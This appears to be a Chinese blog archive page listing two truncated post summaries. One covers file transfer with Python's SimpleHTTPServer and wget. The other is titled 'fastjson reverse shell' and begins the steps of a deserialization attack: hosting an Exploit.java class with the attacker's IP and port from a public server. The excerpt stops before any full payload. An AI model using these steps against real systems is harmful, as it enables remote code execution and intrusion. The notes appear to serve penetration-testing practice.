2020 年 4月 27 日随笔档案 - Mysticbinary

2020年4月27日

摘要： Python2.x的SimpleHTTPServer库 + wget 这个方式比较灵活，Linux一般自带一个python2.x，使用完要尽快关闭这个服务，避免出现安全风险。 cd temp // python 2.X 用这个 temp$ python -m SimpleHTTPServer 202 阅读全文

posted @ 2020-04-27 19:27 Mysticbinary 阅读(850) 评论(1) 推荐(0)

fastjson 反弹shell

摘要：只用于记录我的步骤，不作说明。准备一台公网服务器 cd test python -m SimpleHTTPServer 8888 javac Exploit.java 里面的ip和端口改成你的 import javax.naming.Context; import javax.naming.Nam 阅读全文

posted @ 2020-04-27 17:06 Mysticbinary 阅读(3535) 评论(0) 推荐(1)